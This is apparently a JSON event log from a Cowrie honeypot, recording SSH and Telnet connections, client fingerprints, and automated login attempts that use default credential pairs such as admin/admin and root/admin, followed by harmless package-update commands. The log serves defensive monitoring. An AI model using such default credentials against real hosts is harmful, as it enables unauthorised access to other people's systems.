{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":49576,"dst_ip":"10.17.0.5","dst_port":22,"session":"63ca8f6d247b","protocol":"ssh","message":"New connection: 130.12.180.51:49576 (10.17.0.5:22) [session: 63ca8f6d247b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:21.919632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:21.929939Z","src_ip":"130.12.180.51","session":"63ca8f6d247b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:22.012447Z","src_ip":"130.12.180.51","session":"63ca8f6d247b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:22.261455Z","src_ip":"130.12.180.51","session":"63ca8f6d247b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:22.791311Z","src_ip":"130.12.180.51","session":"63ca8f6d247b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.164968013763428,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:25.277387Z","src_ip":"147.182.143.59","session":"c32c9439b9f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:25.357934Z","src_ip":"47.239.15.75","session":"cfc3d3167199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.93821167945862,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:32.961385Z","src_ip":"45.58.127.90","session":"1f223ec40528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59468,"dst_ip":"159.203.135.109","dst_port":23,"session":"e013f972e240","protocol":"telnet","message":"New connection: 147.182.143.59:59468 (159.203.135.109:23) [session: e013f972e240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:39.240413Z"}
{"eventid":"cowrie.session.closed","duration":43.5462110042572,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:39.531629Z","src_ip":"45.58.127.90","session":"5b4d5ec9faac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.58757019042969,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:39.898113Z","src_ip":"45.58.127.90","session":"e7d1d8148c64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59470,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c99c77930fe","protocol":"telnet","message":"New connection: 147.182.143.59:59470 (159.203.135.109:23) [session: 4c99c77930fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:40.709934Z"}
{"eventid":"cowrie.session.closed","duration":41.46924805641174,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:42.930004Z","src_ip":"45.58.127.90","session":"a718776ad7c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.23873996734619,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:46.289196Z","src_ip":"45.58.127.90","session":"b4152efed79c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:46.987681Z","src_ip":"47.239.15.75","session":"aa250b7c5f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":45848,"dst_ip":"10.17.0.5","dst_port":22,"session":"53b8f68890bc","protocol":"ssh","message":"New connection: 79.104.0.82:45848 (10.17.0.5:22) [session: 53b8f68890bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:47.062738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:47.067463Z","src_ip":"79.104.0.82","session":"53b8f68890bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:47.215788Z","src_ip":"79.104.0.82","session":"53b8f68890bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"abc123","message":"login attempt [deploy/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:47.839266Z","src_ip":"79.104.0.82","session":"53b8f68890bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:48.992112Z","src_ip":"79.104.0.82","session":"53b8f68890bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":11865,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cd7e1da89aa","protocol":"ssh","message":"New connection: 185.71.233.73:11865 (10.17.0.5:22) [session: 9cd7e1da89aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:50.154922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:50.159437Z","src_ip":"185.71.233.73","session":"9cd7e1da89aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:50.391708Z","src_ip":"185.71.233.73","session":"9cd7e1da89aa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:51.280198Z","src_ip":"185.71.233.73","session":"9cd7e1da89aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"98.3","message":"Connection lost after 98.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:51.490512Z","src_ip":"47.239.15.75","session":"aa250b7c5f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46420,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b73d52cffe8","protocol":"telnet","message":"New connection: 147.182.143.59:46420 (159.203.135.109:23) [session: 9b73d52cffe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:51.772546Z"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:51.946590Z","src_ip":"185.71.233.73","session":"9cd7e1da89aa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:52.304411Z","src_ip":"185.71.233.73","session":"9cd7e1da89aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.134145736694336,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:52.374429Z","src_ip":"147.182.143.59","session":"e013f972e240","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":11884,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff607c747ac","protocol":"ssh","message":"New connection: 185.71.233.73:11884 (159.203.135.109:22) [session: dff607c747ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:52.419386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:52.424591Z","src_ip":"185.71.233.73","session":"dff607c747ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:52.633578Z","src_ip":"185.71.233.73","session":"dff607c747ac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:53.313584Z","src_ip":"185.71.233.73","session":"dff607c747ac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:53.573484Z","src_ip":"185.71.233.73","session":"9cd7e1da89aa","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:53.828053Z","src_ip":"185.71.233.73","session":"dff607c747ac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:54.026945Z","src_ip":"185.71.233.73","session":"dff607c747ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.379642724990845,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:54.089480Z","src_ip":"147.182.143.59","session":"4c99c77930fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46426,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1d72472da64","protocol":"telnet","message":"New connection: 147.182.143.59:46426 (159.203.135.109:23) [session: d1d72472da64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:54.531221Z"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:55.234484Z","src_ip":"185.71.233.73","session":"dff607c747ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.01770806312561,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:18:57.175267Z","src_ip":"45.58.127.90","session":"5209fe073a96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52362,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa3c23efe8d8","protocol":"telnet","message":"New connection: 45.58.127.90:52362 (10.17.0.5:23) [session: fa3c23efe8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:00.422009Z"}
{"eventid":"cowrie.session.closed","duration":12.45778203010559,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:04.230233Z","src_ip":"147.182.143.59","session":"9b73d52cffe8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.771669387817383,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:05.302776Z","src_ip":"147.182.143.59","session":"d1d72472da64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52378,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc953535a836","protocol":"telnet","message":"New connection: 45.58.127.90:52378 (10.17.0.5:23) [session: cc953535a836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:06.819840Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38808,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5db0c20b3ba","protocol":"telnet","message":"New connection: 45.58.127.90:38808 (10.17.0.5:23) [session: a5db0c20b3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:08.444195Z"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:09.585732Z","src_ip":"185.71.233.73","session":"9cd7e1da89aa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:10.629464Z","src_ip":"185.71.233.73","session":"9cd7e1da89aa","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:10.633659Z","src_ip":"185.71.233.73","session":"9cd7e1da89aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38812,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa9ead6499ae","protocol":"telnet","message":"New connection: 45.58.127.90:38812 (10.17.0.5:23) [session: aa9ead6499ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:10.996886Z"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:11.356781Z","src_ip":"185.71.233.73","session":"dff607c747ac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:12.286678Z","src_ip":"185.71.233.73","session":"dff607c747ac","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:12.291391Z","src_ip":"185.71.233.73","session":"dff607c747ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38814,"dst_ip":"10.17.0.5","dst_port":23,"session":"5044ede9afff","protocol":"telnet","message":"New connection: 45.58.127.90:38814 (10.17.0.5:23) [session: 5044ede9afff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:16.693738Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:26.616049Z","src_ip":"185.71.233.73","session":"9cd7e1da89aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.7","message":"Connection lost after 36.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:26.823646Z","src_ip":"185.71.233.73","session":"9cd7e1da89aa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:28.315776Z","src_ip":"185.71.233.73","session":"dff607c747ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.1","message":"Connection lost after 36.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:28.521825Z","src_ip":"185.71.233.73","session":"dff607c747ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35754,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b36c0202cd2","protocol":"telnet","message":"New connection: 147.182.143.59:35754 (159.203.135.109:23) [session: 1b36c0202cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:32.721071Z"}
{"eventid":"cowrie.session.closed","duration":39.04591608047485,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:39.467777Z","src_ip":"45.58.127.90","session":"fa3c23efe8d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.820547342300415,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:40.541381Z","src_ip":"147.182.143.59","session":"1b36c0202cd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.29744505882263,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:46.117166Z","src_ip":"45.58.127.90","session":"cc953535a836","protocol":"telnet"}
